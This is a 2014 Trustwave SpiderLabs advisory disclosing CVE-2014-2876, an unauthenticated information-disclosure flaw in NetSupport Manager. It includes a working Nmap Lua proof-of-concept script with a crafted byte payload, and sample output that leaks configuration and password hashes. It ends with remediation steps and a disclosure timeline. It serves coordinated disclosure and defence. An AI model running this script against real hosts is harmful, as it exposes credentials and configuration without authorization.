Trustwave's SpiderLabs Security Advisory TWSL2014-006:
NetSupport Manager Information Disclosure Vulnerability

Published: 04/17/2014
Version: 1.0

Vendor: NetSupport
Product: NetSupport Manager and Client
Version affected:  Version 10 and possibly other versions

Product description:
NetSupport is a remote management application which allows users to access
any host remotely running the client software from a central management
station.

Finding 1: NetSupport Application Unauthenticated Information Disclosure
Credit: David Kirkpatrick of Trustwave SpiderLabs
CVE: CVE-2014-2876
CWE:CWE-200 (Information Exposure)

By using a specially crafted request it is possible to retrieve information
from hosts running the NetSupport application that could be useful in other
attack vectors. Any hosts that do not have any authentication configured
are vulnerable.

Proof-of-Concept:
The following nmap script was written to retrieve certain information from
hosts running the NetSupport client or manager that do not have any
authentication enabled.

.............................................
Example 1:

local nmap = require "nmap"
local shortport = require "shortport"

description = [[
Determines NetSupport authentication is open or not and then gets Inventory query from host.
]]
author = "David Kirkpatrick (dkirkpatrick@trustwave.com)"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

categories = {"auth"}
portrule = shortport.port_or_service(5405, "netsupport", "tcp", "open")

action = function(host, port)
        local socket = nmap.new_socket()
        local result
        local status = true
        local response

-- strPayload captured from pcap between manager and client
-- NetSupport query

        local strPayload = string.char (
0x14, 0x00, 0x5a, 0x00, 0x44, 0x41, 0x56, 0x45,
0x2d, 0x50, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0x00,
0x51, 0x00, 0x81, 0x00, 0x44, 0x41, 0x56, 0x45,
0x2d, 0x50, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x3f, 0x4e, 0x41, 0x44,
0x3e, 0x41, 0x48, 0x41, 0x40, 0x4e, 0x40, 0x48,
0x43, 0x4f, 0x48, 0x45, 0x00, 0x38, 0x00, 0x03,
0x00, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfd,
0xb5, 0xa5, 0xff, 0x00, 0x00, 0x64, 0x61, 0x76,
0x65, 0x00, 0x57, 0x4f, 0x52, 0x4b, 0x47, 0x52,
0x4f, 0x55, 0x50, 0x00, 0x3c, 0x3e, 0x00, 0x44,
0x41, 0x56, 0x45, 0x2d, 0x50, 0x43, 0x00, 0x31,
0x32, 0x2e, 0x30, 0x2e, 0x30, 0x2e, 0x31, 0x30,
0x30, 0x30, 0x00, 0x31, 0x30, 0x00, 0x00)

        status = socket:connect(host.ip, port.number, port.protocol)
        socket:send (strPayload)
        status, result = socket:receive_bytes(1200)

-- basic check to see if we received anything useful i.e. noauth
-- in this case just look for "license" which seems to be common
-- to all responses wiht noauth

        local noauth = string.match(result, "[Ll][Ii][Cc][Ee][Nn][Ss][Ee]")
        local cleanup1 = string.gsub(result, "\x00",",")
        if (noauth) then
                response = "!! No Authentication required !!\nHost Response = " .. cleanup1
                return response
        else
                return "Not vulnerable - probably requires authentication."
        end

        socket:close()
end


....................................

For clients that have Netsupport authentication enabled, the response is:

5405/tcp open  pcduo
|_dk_netsupport: Not vulnerable - probably requires authentication.

For clients that do not have Netsupport authentication enabled, a typical response is:

5405/tcp open  pcduo
| dk_netsupport: !! No Authentication required !!
|_Host Response = \x1B,\x02,DAVE_TEST_HOST,,,,\x01,\x01,,,,_\x01R,\x01,_Info,Filename=C:\Program Files\NetSupport\NetSupport Manager\client32.ini,_License,_checksum=0xba579781,_version=1200,control_only=0,EvalDaysLeft=7,expiry=11/04/2014,inactive=0,licensee=EVAL,maxslaves=10,os2=1,product=10,serial_no=NSL311214,shrink_wrap=0,start=11/03/2014,transport=0,Audio,DisableAudioFilter=1,Bridge,LoadOnStartup=1,Modem=SSTP,,v\x01R,\x01,PasswordFile=C:\Program Files\NetSupport\NetSupport Manager\bridge.psw,Protocol=2,Client,_present=1,AutoICFConfig=1,Buffers=3,CurrentRealName=,CurrentUserName=dave,DisableCloseApps=1,DisableGeolocation=0,DisableLocalInventory=0,DisableManageServices=1,DisablePrintCapture=0,EnclosureType=1,ExecMode=1,ImageFile=nss_lock_image.jpg,ImpersonateNetworkDrives=1,LogAppend=1,,z\x01R,\x01,Logfile=client32.log,MacAddress=<MAC Address>,MinimumEncryption=0,Password=<hash>,Protocols=2,RoomSpec=Eval,SecurityKeySet=1,ShowUIOnConnect=1,SOS_Alt=1,SOS_Ctrl=0,SOS_LShift=1,SOS_RShift=1,StartSkip=5000,StatusMode=1,StopSkip=1000,SubnetMask=255.255.255.0,SysTray=1,TicklePeriod=18,UnloadMirrorOnDisconnect=1,ViewModeAcknowledgement=0,General,Password=<hash>,AutoScroll=5,,N,R,,,Cachesize=16384,ScaleToFit=1,ScaleToFitMode=3,Scrollbars=1,ScrollDelay=2,,
MAC Address: <MAC Address>

Note the above provides configuration settings, and encrypted passwords
used in the host configuration as well as other information that may be
useful to an attacker.

Remediation Steps:
Upgrade to NetSupport Manager Version 12.01.0005.  Alternatively, users can enable authentication on the NetSupport client or manager.

Revision History:
04/04/2014 - Vulnerability disclosed to vendor
04/04/2014 - Initial vendor response
04/17/2014 - Vendor released fix
04/17/2014 - Advisory published

References
1. http://www.netsupport-inc.com/

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com

About Trustwave's SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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